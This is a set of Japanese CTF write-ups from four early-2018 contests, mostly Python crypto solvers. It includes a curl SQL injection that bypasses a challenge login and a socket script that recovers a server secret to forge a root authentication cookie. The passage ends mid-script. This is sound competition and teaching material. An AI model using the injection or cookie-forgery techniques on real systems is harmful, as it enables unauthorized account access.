Harekaze CTF 2018 Writeup

この大会は2018/2/10 15:00(JST)~2018/2/11 15:00(JST)に開催されました。
今回もチームで参戦。結果は2157点で447チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome flag (WarmUp 10)

問題にフラグが書いてある。

HarekazeCTF{Welcome to the Harekaze CTF!}

easy problem (Warmup 30)

ROT13でデコードすると、フラグが得られた。

HarekazeCTF{Hello, world!}

gacha (Crypto 100)

平文にWINが含まれる暗号文を選択すると勝ちで、30回以上の勝負で9割以上の成績を残すと、フラグが得られる。暗号化した結果が合うものを選択するようにすればよい。

from Crypto.Util.number import *
import socket
import re

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

pattern1 = '1\. \((.+)\)'
pattern2 = '2\. \((.+)\)'
pattern3 = '3\. \((.+)\)'

e = 65537
m = 6289644257982517902

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problem.harekaze.com', 30214))

while True:
    data = s.recv(4096)
    print data
    if 'you got the flag' in data:
        break

    n = []
    c = []
    mo = re.search(pattern1, data)
    n.append(int(mo.group(1).split(', ')[0][2:], 16))
    c.append(int(mo.group(1).split(', ')[2][2:], 16))
    mo = re.search(pattern2, data)
    n.append(int(mo.group(1).split(', ')[0][2:], 16))
    c.append(int(mo.group(1).split(', ')[2][2:], 16))
    mo = re.search(pattern3, data)
    n.append(int(mo.group(1).split(', ')[0][2:], 16))
    c.append(int(mo.group(1).split(', ')[2][2:], 16))

    ans = ''
    for i in range(3):
        if pow(m, e, n[i]) == c[i]:
            ans = str(i+1)
            break
    print ans
    s.sendall(ans + '\n')

    for i in range(6):
        data = recvuntil(s, '\n')
        print data

実行すると、フラグが得られる。

  :
実行結果は以下の通り。
        :
[*] ROUND 30
    🔒 1. (0x96a3fa4a676e46330d8bd14eed7a027d1c53b76e45d492bc00a9d11661f30050059cf60cfe91e69be4ed8b944eed56881bfcd15a07e1da8d0314deb591f8b5e24ccc7a1dda4b318b73d8e9eefac36f2c9185bf013abbdca1fad1b561aeab71de3ccd3656bd6b222a77e2fe1d130499c1d76a1ac6e92767d36b8a31c3ec022fc4057b79414420c27ef087fa9a122f2db2390b299296df20883a4e2a22c551f53a55561daa5bcf27716fd4334cfa43235a124432aaf07e89ee86afedf2c96adf1dfb26ea2ac4ec16fc1dba2db8138400abf97b874dc6508b4be57ffef56fb3fd1b99866843ef03b27cec343e5f6d63758b3a324fc474dd6e781523ff73b984556b, 65537, 0x5dc261a7fbaec5e1a13a39732f9af50f219f3a650814597196ae3f34c5bfa6b1be85ae537faeef7651fc1355fb2f196fa661e0a71fd074fa07c179994d5716bb429ee92ac05dc15d92a29499b8fe673df24aa89143135a816374ff6c582b1a20beb5f42b0549c012f342ba3917bb25f3c115ecc9e8b7524002a2e6e7f683bcc2717accc7fec3a6bfc1cd1054c4623124d42a4681a3550a206abb4723c76e8572b20cabce849a1f49f24cb24a1d8994a8a16490bed3dbccae5240d5dc94e826111b5df6ca684311e70956ed9fe3a461734c60e35f92088030cfab0d760b8a6358ca425c0be23d17fd163c4492446da04749081db33682f6654b603267f6f683a8)
    🔒 2. (0x9a5834c5981f16c100a84e6b08987d38204a341c5264adb9db968b843b6d29c7f8e54b9d5147f8fd95836cd61192611cfd7c244047c1d80bcdcb77203650989d9b2efbaf45da875cc6932546d87804fe1cecfad358eda31e2e62d7b3711e7769a0bcd3071fd990977262a1635c8836a965be7098fdac49313503324a7f52ee9ad0922f2d43fbf26d556dc8f4eae649190e2c5a24f0a7f6bb0a9210cbf330c7d79a9632f4779935c2960738bbff563f9b12857dcba95f6b1bf961bd8f5b5f330170132edb9d071df84f93f104ce3d7fc1813ddcda2de0ce882e2dc8940e0131e43ca62cf619ee5b74edd56691c9dd0d0587c246d81d6b0793739d7adb9596a2db, 65537, 0x7107ba3b20b50d93ef351014d1087ba251557c644cbbfd8cb64534367a471e20bc253f9397ac9f8fc23d8f7f4795f221e0082bff23c5e9be2c2aa527f0731d55ce18451ef2fcaa0bd2dda95c99baa8759400eea19cae7ee5175900fbf1ff70b20b7ed391f4458179e788d7021f4f1dd8c7299395b3cc41296333db9b2fe874381f4a0c3bd4056c411177b793a77debc396f77f1dc2b8782872e2d574319f3b32ce8b4ff76cf63d1e9a53dfab7947ffcf3ceea6aef7f53069c21468d8da0e4ef3b9cd4515fc898bdcd4a1427c6fa53ce9279d62d66f6cfc124b262548457eb711a61e0b7a9f62bddc622f244d0a9833d2ca6ef3c2456794ef87fb65f00572ae73)
    🔒 3. (0xa9377bfd02709b87cc9de8fd4e89b8925efe2ffadf18bc3e7965e96205718dad7d38aafbfc0129b8c6569fa8c06d7856a8bf0cfe2a4692e429a5d8857e65287fa3e498798f0666210623199c469fa242fb4dbe9edcef83c2623e70ef768a40321dbae77c5f06d5e856304e16c00762cc5d32bf405b0c125c4b77984e5cf0002837eea1e511908a3635e896d10aed950febfaa099087121756c88d09fda56ecac463db0024b13b54adf23094b52560d1c515688cb41fc8613de18164b7b1cd23697284a9c9690e2e446321eb3acb6ec4196922905b5d7ac3ac724a0aff46a370a40e7168a52efe5c3a7247b059b5916edbb7c725a5225ecdc4ae56660cef20c47, 65537, 0x9433ce34e7fe6e982a815554b152dfba7af14474aea8e2b6b54879ed9b72cdd61efdf8b2243d80cd7327dc304ab13235d4d03b5935b6f1d3e89f1a8dae7b2fa5e87078c286d25c233bbb5743d902855f19a2613818b6551b6bc7cd64d639372d487a192015480a2ca1338cae785df45896669300a32a61988c89c5af92406382af0b6990639a3a2c0d646e0f93c53674ccf164dabedc944fb6a6ebe7935b675586903dabb524801ca2463df4390f688df21612872ca8fa1ae3cf96c816aad09bdbfb04aaaab7ecdb9896e73055510f6d05c959b09ae05bac03ecbc244522d1ab9e9abeb6ac75294136e5b853663fdb869366d6f32ec4c5ddd81045a2792aa582)
[*] select:
>>> 
1
[*] result: WIN 💎

[+] you win 🎉

[*] here are the keys. please ensure that there is no cheating

    🔑 1. 7895995954412064234361798895691268139582514896439045906129410925393920562153770222588810056914159075033981223919158124552006716651188659496199051457286190320692090859788279809860208035893962232678891200034782425161636490486995090748934880560073837212118638861333586572283933749245331568754318155522087116610021719508377831385350502689285698213185323894228949011226089297813776139714178286314631550772569765746889813752314738483697158870342757880124044833572231066140815227624186195450340081288776962154163704962751174334544476745520922480332531682876418638778610050132359898020869921388700867032839447642396387916993

    🔑 2. 2871627322414446708739745407118402039320610534821637431875001264463975811751992475697957271173851890530416811405844414754092177877469323661265530941221479080980729838562469207272013132745402277102897808493558717580357314008162012284741604313539737024956744030148499434498239196119467724831745487309200048671876163687694984163513452981701506817302776063871922940228534343535114758434028528047115159167791857750787657828444280964181607895537940726693850558030502638037006053235518046927831325815085574066001263880008741752758330520257823295627563408765106708309024086304411923544230046304150169111392609526309091497273

    🔑 3. 4261114175761760556575469170514289305600825279273163390030649634102139374435136757831881552789765575472583792758210792969407840385039637423639005401443714928974149994817795380600031070795405605052235196867895358524894145361839581737987794740475045542297047737773980218646790236328911021370281112922925530542045171181448919011772705698091998520968768119957847461409564121043489635305341398474273372414636652903223459247379405576070241085884391735632148389893011321168254894606485639292403631944531222049369388592286103077814749344046044547383837687022513408530946652002143569207061842709239013253655479969969127409969

[+] you got the flag 🏁: HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}
HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}

Fight (Crypto 100)

gen_seedはまとも計算すると時間がかかる。ただやっていることはn-1までの互いに素となる数字の数を求めることなので、置き換える。seedがわかるので、そのまま乱数を計算すれば、XORの鍵もわかるので、復号できる。

import random
import base64
import sympy as sym

def xor(msg, key):
    return bytes([ch1^ch2 for ch1, ch2 in zip(msg, key)])

b64enc = '7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU='
enc = base64.b64decode(b64enc)

s = 1
for p in b"Enjoy_HarekazeCTF!!":
  s *= p
seed = sym.totient(s)
random.seed(str(seed).rstrip("0"))

key = bytes([random.randint(0,255) for _ in range(100)])

print(xor(enc, key))
HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}

Round and Round (Crypto 200)

p1 = pow(p-1, 0, p) + pow(p-1, 1, p) + pow(p-1, 2, p) + ... + pow(p-1, q-1, p)
q1 = pow(q-1, 0, q) + pow(q-1, 1, q) + pow(q-1, 2, q) + ... + pow(q-1, p-1, q)

まともに計算しても時間がかかる。いろいろ試したところ、以下の規則があることに気づいた。

pow(p-1, 奇数, p) = p-1
pow(p-1, 偶数, p) = 1

また、p, qは素数なので奇数。以上を踏まえ式を書き換える。

p1 = (p-1)*((q-1)/2) + (q-1)/2 + 1
   = p*(q-1)/2 + 1
q1 = (q-1)*((p-1)/2) + (p-1)/2 + 1
   = q*(p-1)/2 + 1
      ↓
(p1-1)*2 = p*(q-1) = (p-1)*(q-1) + (q-1)
(q1-1)*2 = q*(p-1) = (p-1)*(q-1) + (p-1)

(p1-1)*2 - (q1-1)*2 = q - p ; diffと置く
         = (p-1) * (p+diff-1) + (p-1)

この2次方程式を解くことができれば、pが求められ、そこからqも求められる。あとは復号するだけ。コードは以下の通り。

from sympy import *

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

e = (1<<16) + 1

# q - p
diff = (p1 - 1) * 2 - (q1 - 1) * 2

# (q1 - 1) * 2
val = (q1 - 1) * 2

x = Symbol('x')
sol = solve((x - 1) * (x + diff - 1) + (x - 1) - val, x)
p = int(sol[1])
q = p + diff

phi = (p - 1) * (q - 1)

x = 0
while True:
    if (phi * x + 1) % e == 0:
        d = (phi * x + 1) / e
        break
    x = x + 1

m = pow(enc, d, p * q)

flag = ('%x' % m).decode('hex')
print(flag)
HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}

EvlzCTF Writeup

この大会は2018/2/10 0:30(JST)~2018/2/11 0:30(JST)に開催されました。
今回もチームで参戦。結果は1475点で241チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Sorry for this (Miscellaneous 75)

問題は動画になっている。ffmpegで静止画に分解してみる。

>ffmpeg -i tipsy.mp4 -f image2 -vf fps=fps=1 div\tipsy_%05d.jpg

フラグが埋め込まれている画像が抽出できた。
f:id:satou-y:20180212221518j:plain

evlz{my-very_trip_was_dad_with_first}ctf

Typical (Crypto 75)

$ nc 35.200.197.38 8003
Your Ciphertext is:2b111136050a201a033f2c24 Your key is:4a525455
Enter plaintext in hex:

XORで復号すればよさそう。

import socket
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.205.196.143', 8003))

round = 1
while True:
    print 'Round %d' % round
    data = s.recv(256)
    print data
    if 'Thanks for playing' in data:
        break

    pattern = 'Your Ciphertext is:(.+) Your key is:(.+)'
    m = re.match(pattern, data)
    cipher = m.group(1)
    key = m.group(2)
    plain = ''
    for i in range(0, len(cipher), 2):
        code = int(cipher[i:i+2], 16) ^ int(key[i%len(key):i%len(key)+2], 16)
        plain += '%x' % code
    print plain
    print plain.decode('hex')
    s.sendall(plain + '\n')
    round += 1

最後までいってもフラグが表示されないので、送信する平文をhexデコードして表示してみる。途中でフラグが表示されていた。

       :
Round 5
Your Ciphertext is:2e0e0e1f2c343413271f2f27110a3a212f1a21082e2710043920371f39193f1e Your key is:4b78626557445872447a
Enter plaintext in hex:
65766c7a7b706c616365645f736f6d6577686572655f72616e646f6d7d637466
evlz{placed_somewhere_random}ctf
       :
evlz{placed_somewhere_random}ctf

Primeates (Crypto 200)

$ nc 35.200.197.38 8005
N is: 1414105071933482316700542439837927693320680478605460052939094829508938028079161646629323226988356049045316777515223180430106838398770488537890345507827495508103790674199471015282663027025736696273099161565154972925237786001169295774985507681276675232117968877551566249431664097185905356884899854698377908208111958407402412421368604606422248087172330445861763290357089580920253721692338495985837659109342710795237403676248263107315674673015668263081380091946949603
e is: 3
Cipher text is: 378298893916598086874607404131390876390122525545713488720877944575185623279732971227842503543642027704686114550783317830373635343922547497016866577366754346946921713513140776458160982993092663936827


1.Encryption
2.Decryption
3.Enter Password
>>>

何回実行しても、Nは変わるが、Cipher textは変わらない。Cipher textの3乗根をPasswordに指定する。3乗根の計算は以下のコードで算出する。

import gmpy

e = 3
c = 378298893916598086874607404131390876390122525545713488720877944575185623279732971227842503543642027704686114550783317830373635343922547497016866577366754346946921713513140776458160982993092663936827

m = gmpy.root(c, e)[0]
print m
$ nc 35.200.197.38 8005
N is: 1556966064738208400509493889892686349363489102225804549807540113183147949410123615020634270850732169222047692200989559328466901758582142413451080329406518012869438788032010715643691401333758281416262070700828076273991929765138786003451444813134304298899337023715344919957484024244711896668243088204509206541173746225660925052442509687915349585308402279785205845661319001248671557084729608451727086671989197567391148915766568036635887854580846722040783466634494953
e is: 3
Cipher text is: 378298893916598086874607404131390876390122525545713488720877944575185623279732971227842503543642027704686114550783317830373635343922547497016866577366754346946921713513140776458160982993092663936827


1.Encryption
2.Decryption
3.Enter Password
>>>3
Enter the password 723233204932732303232804824329562012733423232323723208322321218403
evlz{my_very_oracle_attack}ctf

Cipher textの3乗根を指定すると、フラグが表示された。

evlz{my_very_oracle_attack}ctf

SharifCTF 8 Writeup

この大会は2018/2/2 15:30(JST)~2018/2/4 3:30(JST)に開催されました。
今回もチームで参戦。結果は900点で682チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Hidden input (Web 50)

ソースに以下のhidden属性がある。

<input type="hidden" name="debug" id="debug" value="0">

debugの値を1にしてアクセスする。

$ curl -X POST -d "Username=a" -d "Password=b" -d "debug=1" http://ctf.sharif.edu:8081/login.php
<pre>username: a
password: b
SQL query: SELECT * FROM users WHERE username=('a') AND password=('b')
</pre><h1>Login failed.</h1>

括弧をつけてSQLインジェクションを行う。

$ curl -X POST -d "Username=a') or 1=1 #" -d "Password=b" -d "debug=1" http://ctf.sharif.edu:8081/login.php
<pre>username: a') or 1=1 #
password: b
SQL query: SELECT * FROM users WHERE username=('a') or 1=1 #') AND password=('b')
</pre><h1>Logged in!</h1><p>Your flag is: SharifCTF{c58a108967c46222bbdc743e15932c26}</p>
SharifCTF{c58a108967c46222bbdc743e15932c26}

DES (Crypto 50)

平文とあるキーによるDES暗号の暗号化のペアがたくさんある。キーを探り当てる必要があるが、DESのキーで脆弱性のあるものの情報を探す。
https://en.wikipedia.org/wiki/Weak_key#Weak_keys_in_DES を参考に暗号化を試す。
e0e0e0e0f1f1f1f1 で平文と暗号の組み合わせが合う。

SharifCTF{e0e0e0e0f1f1f1f1}

OSS Signature - Easy (Crypto 100)

ほぼ数学の問題。以下を満たすものがある。

m1 = x1**2 + k * y1**2
m2 = x2**2 + k * y2**2

これで以下ようになるx3とy3を求める。

m1*m2 = x3**2 + k * y3**2

m1*m2を変形しながらこの形式になるよう計算する。

m1*m2 = (x1*x2)**2 + k*(x1*y2)**2 + k*(x2*y1)**2 + k*k*(y1*y2)**2
      = (k*y1*y2 - x1*x2)**2 + k * (2*x1*x2*y1*y2 + (x1*y2)**2 + (x2*y1)**2)
      = (k*y1*y2 - x1*x2)**2 + k * (x1*y2 + x2*y1)**2

この結果、以下の通りとなる。

x3 = k*y1*y2 - x1*x2
y3 = x1*y2 + x2*y1

実際に計算する。

n = 25002746673023214443255611415004163622813167852050923858455529030203886977840435991633024079845736335150468784530123301961464111492802951263984843039164056430832125163123383805713707250515254073169424707009359341759806003392594138294458167902830484152672696274313541002376076183872266230285338817553110422277895445022423407252341583782719664554600485831653496762352727294140410862007839241034826246409937408317586016100320118339304493568308875379717324497727750190898854014202895798781129867240530387323567711557244359201718574163779140769622702892937997637399632813759046725913242153879394145202439145824342609530733
k = 23362339402422379817772327315061502761593494363846640180372992347552364432329220756030231112957778618810078666762974577247225709089334422591782884749584385632941885055318288495081651413041625183693553233252837243762098828064089396976796784829512691690456121528386778151445275489241471824325584238311939845541912403985291213425145453729490975518843542282785674261698826757381575038415836220944506894913500128933084291790059465445840440895339431303999096861113452752000364738364437105439080665770770436241486563132717407593776498512206813885900089036806429313524876146779148195897063040217695170237733473446418668779916

m1 = 53
x1 = 4996965626677818470899497036192572928953383468049981492215052947486968576469160069531045847406602867300998349717580001316746485225762698993261684213353602996748343182092335509307573088247624968954427896794412611830427704686799860673116498727830792282242951843221232059541413610254765610041160440513577441311377402794483664718403091720812660740195547201741143700725549004496527350569773313437105547331241515716525604301492268657755586190938586265947367522921813698603847151625881131098032431190975920711377012137155839366204869205993663573232084527465728306732531071378794321276304228712618173043121942149396615492478
y1 = 9339264669983291900327820828270098016379861097267077744514708712834641173057650202534710250765922313741944462789942785478170212231431727070626211785081581216011869498431598197306917945956602966039228580868647572114697339953682091890878192717124657001319847969571764996539075871196135114129827099959218903704028739118783540539731484487013859564619154565781303034838767726419327010072827695144834838584650689215227715966068273968350448794571951839296494120274908108873597642627135960002648616376004036368059928510282972523844522428329769439534207771320850592847756802766651250916352633401119949553102145237888877557923

m2 = 97
x2 = 11753106345254288737361588513147237177750400928549963607707054166942720184532870164663313254526876864287114091403255773460126703446364096215167350117522512230363460796882926739640334786094541017927436061884032962475855870728763342865282312282570446248990619133180907228013976489639609306879272823217110322646001510606842229170558446836122206078351382968253970864143597110461965175850834817665875538033799957519184628621445302484228100263431427032089411665137733848416897797243448068873485701775788341820346935946117424174847849626391662223056950725043721907635990009814375453736359471825015817067334839806235435545448
y2 = 123161662006626173257658155440995758077644133106347955053437070384032327643606006182254293736352951669348486229126066051376766187014326742185279158572916190461546072737951070108429999738567695487322683707128747508390535278084645507888594491053352777437956961443390580531224529649715922983302553733302183680229442684930688384434263064437787360809879785644243721569717854769078822729636598856450665397631653853730111259561536552440955558062554764155674810156999963831490288009516842695456063350428308329590519170386751067328029955975084626546467505376469180883230078097302660456279461037373526104913049876100168770958

x3 = (k*y1*y2 - x1*x2) % n
y3 = (x1*y2 + x2*y1) % n

print 'x3 =', x3
print 'y3 =', y3

この結果、以下の通りとなる。

x3 = 5830142767269869677288408048540188008823990407143812016855824705950670094076130295628679427308366877724203450528505429923779301824931078622823699278049797459103976077656253481286887552821019276867178788422219539329583159422137716528100570338486898980373587303085748319844052353230249042625942785900387756894239067102757343433502492365252997459285349339246805166733967650832504849834260251786076960206921262991354352029664760492726369394863653668118951032791286046453289341474808509851463955082181197318288140607769674177976268058836547858657166510273792385879245129488393769010333021676981334496155977249194077033884
y3 = 5395898905123648503834111671297796783290397561274630899481015182458778781607901118589561849162438641620093844778942756497555892488487851581944403489428310876143669684360917304957290153707395347323720107220789281916218015743755093672007247609226854626394280860266858900528262798090243514810319854184687628597363829703844467425743837279434415596195930994186542872505553058421449234140281457012201166739191548987512108956661156070494288517214599188894883583204460642246821038631481163915837077751361281096675786973519454859604240317794260193361416581583032004137958137882176217763274442687529500870912682381607026694645

このx3, y3を入力すると、フラグが表示された。

SharifCTF{aea9d91c12817a8f5a19b37ee9e1b1d6}

fHash (Crypto 200)

M1の場合、以下のようにして計算される。

hl = md5('7575'+'7368').hexdigest()[:4]
hr = md5('A8A8'+'7368').hexdigest()[:4]
hl = md5(hl+'6172').hexdigest()[:4]
hr = md5(hr+'6172').hexdigest()[:4]
hl = md5(hl+'6966').hexdigest()[:4]
hr = md5(hr+'6966').hexdigest()[:4]
hl = md5(hl+'6374').hexdigest()[:4]
hr = md5(hr+'6374').hexdigest()[:4]
hl = '260c'
hr = '01da'

hlとhrは独立している。1回目のhl, hrの値がM1の場合と同じであれば、結果は同じになる。hl、hr、M2の最初の2バイトのブルートフォースで条件を満たすものの代表値を探す。

from hashlib import md5

M1 = '7368617269666374'
hl_ans = 'dcd0'
hr_ans = 'a6ea'

def foo(h, m):
    return md5(h.encode('utf-8') + m.encode('utf-8')).hexdigest()[:4]

def get_hr(M2_head, ans):
    for i in range(256):
        for j in range(256):
            hr0 = ('%02x' % i) + ('%02x' % j)
            hr = foo(hr0, M2_head)
            if hr == hr_ans:
                return hr0

    return ''

found = False
for i in range(256):
    for j in range(256):
        hl0 = ('%02x' % i) + ('%02x' % j)
        for k in range(256):
            for l in range(256):
                M2_head = ('%02x' % k) + ('%02x' % l)
                hl = foo(hl0, M2_head)
                if hl == hl_ans:
                    hr0 = get_hr(M2_head, hr_ans)
                    if hr0 != '':
                        found = True
                        print hl0
                        print hr0
                        print M2_head + M1[4:]
                        break
            if found:
                break
        if found:
            break
    if found:
        break

実行結果は以下の通り。

0002
0534
8179617269666374

上から順にhl, hr, M2。この値を入力すると、フラグが表示された。

SharifCTF{561a6a6e11ad3a61d83c29a49146d62b}

AceBear Security Contest Writeup

この大会は2018/1/27 11:00(JST)~2018/1/28 23:00(JST)に開催されました。
今回もチームで参戦。結果は3987点で139チーム中10位でした。
自分で解けた問題をWriteupとして書いておきます。

CNVService (Crypt/ACM)

$ nc cnvservice.acebear.site 1337
***************************CNVService*****************************
* Challenge created by CNV                                       *
* My blog: https://chung96vn.blogspot.com                        *
***************************CNVService*****************************
********************Menu********************
* 1 - Register                             *
* 2 - Login                                *
********************************************
Your choice: 1
*****************************REGISTER*****************************
Name: 1
Username: 2
Cookie: PWg77PMNr9+uFv7AJVlwzob7DLRKNm7bpk7wY6l+JBBxnlH1lDq2HJXf53CIAgzXz70wj6nMNmgICMiq6l7CELxf80XHSkf5UsRnDr+CHOM=
***************************END REGISTER***************************
********************Menu********************
* 1 - Register                             *
* 2 - Login                                *
********************************************
Your choice:

ソースコードを見ると、以下のような処理になっている。

■1を選択
Nameを入力
Usernameを入力(rootはNG)
すると、暗号化結果を表示

◇Cookie.register(Name, Username)
name: Nameをpadding
iv: nameと特定文字列とのxor
cookie: CNVService*user=[username]*[ctime()]*[__SECRET__]
iv+cookieのAES暗号したものをBase64エンコードして返す。

◇AES暗号
cookieをpadding
ECB暗号モード利用
1ブロック目:ivとのxor --AES暗号-->
2ブロック目:1ブロック目暗号化文字列のmd5とのxor --AES暗号-->

■2を選択
クッキーを入力

◇Cookie.authentication(cookie)
cookieをBase64デコードする。
name: cookie前半16バイトと特定文字列とのxor
name: unpaddingする

AES復号する。
*区切りでチェック
1つ目:CNVService
最後:__SECRET__
2つ目の最初の5文字:user=
2つ目:=区切りで2つ

username=rootの暗号化文字列を割り出す必要があるが、当然rootで登録はできない。以下のようなことを念頭に暗号化文字列を作成することを考える。

"CNVService*user=" ^ iv                             --AES ECB--> 暗号1ブロック目
"root*Sat Jan 27 " ^ md5(暗号1ブロック目).digest()  --AES ECB--> 暗号2ブロック目
"13:43:37 2018*SS" ^ md5(暗号2ブロック目).digest()  --AES ECB--> 暗号3ブロック目
"SSSSSS??????????" ^ md5(暗号3ブロック目).digest()  --AES ECB--> 暗号4ブロック目

いろいろ試したが、__HEDDEN__, __SECRET__の値を知らずに解くことはできそうにない。
まず md5(__HIDDEN__).digest()を求めてみる。

import socket
from hashlib import md5
from base64 import b64decode
from base64 import b64encode

def xor(dest, src):
    if len(dest) == 0:
        return src
    elif len(src) == 0:
        return dest
    elif len(dest) >= len(src):
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(src)))
    else:
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(dest)))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

data = s.recv(1024)
data += s.recv(1024)
data += '1'
print data

s.sendall('1\n')
data = s.recv(1024)
data += s.recv(1024)
print data

name = 'xxxxxxxxxxxxxxxx'
print name
s.sendall(name + '\n')
data = s.recv(1024)
print data
username = 'aaaa'
print username
s.sendall(username + '\n')

data = s.recv(1024)
data += s.recv(1024)
print data

cookie = data[8:].strip()

cookie = b64decode(cookie)
iv = cookie[:16]
cipher_text = cookie[16:]

HIDDEN = xor(iv, name)
print HIDDEN.encode('hex')

この結果、md5(__HIDDEN__).digest()の16進表記は以下の通りであることがわかる。

0c6734e3fc02a0d0a119f1cf2a567fc1

次に__SECRET__を求めてみる。最初は以下のコードで__SECRET__の長さを確認する。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

data = s.recv(1024)
data += s.recv(1024)
data += '1'
print data

s.sendall('1\n')
data = s.recv(1024)
data += s.recv(1024)
name = 'test'
print data + name
s.sendall(name + '\n')
data = s.recv(1024)
username = 'aaaaaaa' #<- change this string length
print data + username
s.sendall(username + '\n')
data = s.recv(1024)
print data

cookie = data[8:].strip()

print len(cookie.decode('base64'))
・aのとき、80
・aaaaaaaのとき、80
・aaaaaaaaのとき、96

CNVService*user=
aaaaaaaa*Sat Jan
 27 13:43:37 201
8*SSSSSSSSSSSSSS
\x16........\x16

この結果__SECRET__の長さは14。
次に__SECRET__の後ろから1文字ずつはみ出させ、usernameに同じデータを作るように指定し、BFで該当ブロックの暗号データが同じになるものを探す。最初の1文字は以下のようなイメージ。

CNVService*user=
aaaaaaaaa*Sat Ja
n 27 13:43:37 20
18*SSSSSSSSSSSSS
S\x15.......\x15
import socket
from hashlib import md5
from base64 import b64decode
from base64 import b64encode

HIDDEN = '0c6734e3fc02a0d0a119f1cf2a567fc1'.decode('hex')
P_HEAD = 'CNVService*user='
NAME = 'xxxxxxxxxxxxxxxx'
BLOCK_SIZE = 16

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def xor(dest, src):
    if len(dest) == 0:
        return src
    elif len(src) == 0:
        return dest
    elif len(dest) >= len(src):
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(src)))
    else:
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(dest)))

def right_enc(s, nth, plain, initFlg):
    data = s.recv(1024)
    if initFlg:
        data += s.recv(1024)
    data += '1'
    print data
    s.sendall('1\n')

    data = s.recv(1024)
    data += s.recv(1024)
    print data + NAME
    s.sendall(NAME + '\n')

    data = s.recv(1024)
    username = 'a' * (8 + nth)
    print data + username
    s.sendall(username + '\n')

    data = s.recv(1024)
    print data
    cookie = data[8:].strip()

    cookie = b64decode(cookie)
    iv = cookie[:16]
    cipher_text = cookie[16:]

    enc_block4 = cipher_text[48:64]
    enc_block5 = cipher_text[64:]
    return xor(plain, md5(enc_block4).digest()), enc_block5

def getname(xor_val):
    return xor(xor_val, xor(P_HEAD, HIDDEN))

def enc(s, name):
    data = s.recv(1024)
    data += '1'
    print data
    s.sendall('1\n')

    data = s.recv(1024)
    data += s.recv(1024)
    print data + name
    s.sendall(name + '\n')

    data = s.recv(1024)
    username = 'a'
    print data + username
    s.sendall(username + '\n')

    data = s.recv(1024)
    print data
    cookie = data[8:].strip()

    cookie = b64decode(cookie)
    iv = cookie[:16]
    cipher_text = cookie[16:]

    enc_block1 = cipher_text[:16]
    return enc_block1

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

secret = ''
initFlg = True
for i in range(1, 15):
    for code in range(32, 127):
        print '[-] code =', code
        try_secret = pad(chr(code) + secret)
        p, c = right_enc(s, i, try_secret, initFlg)
        initFlg = False

        if enc(s, getname(p)) == c:
            secret = chr(code) + secret
            break
        print '[-] secret =', secret

print '[+] secret =', secret

この結果、__SECRET__の値は以下の通りであることがわかる。

__SECRET__ = 'Thi5_i5_s3cr3t'

あとは適当なNameで1ブロック目から順に求めていく。

import socket
from hashlib import md5
from base64 import b64decode
from base64 import b64encode

BLOCK_SIZE = 16

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def xor(dest, src):
    if len(dest) == 0:
        return src
    elif len(src) == 0:
        return dest
    elif len(dest) >= len(src):
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(src)))
    else:
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(dest)))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

data = s.recv(1024)
data += s.recv(1024)
data += '1'
print data

s.sendall('1\n')
data = s.recv(1024)
data += s.recv(1024)

name = 'xxxxxxxxxxxxxxxx'
print data + name
s.sendall(name + '\n')

data = s.recv(1024)
username = 'aaaa'
print data + username
s.sendall(username + '\n')

data = s.recv(1024)
print data
cookie = b64decode(data[8:].strip())
iv = cookie[:16]
cipher_text = cookie[16:]

HIDDEN = xor(iv, name)

p = [
    'CNVService*user=',
    'root*Sat Jan 27 ',
    '13:43:37 2018*Th',
    pad('i5_i5_s3cr3t')]

# ciphertext 1st block
c = [cipher_text[:16]]

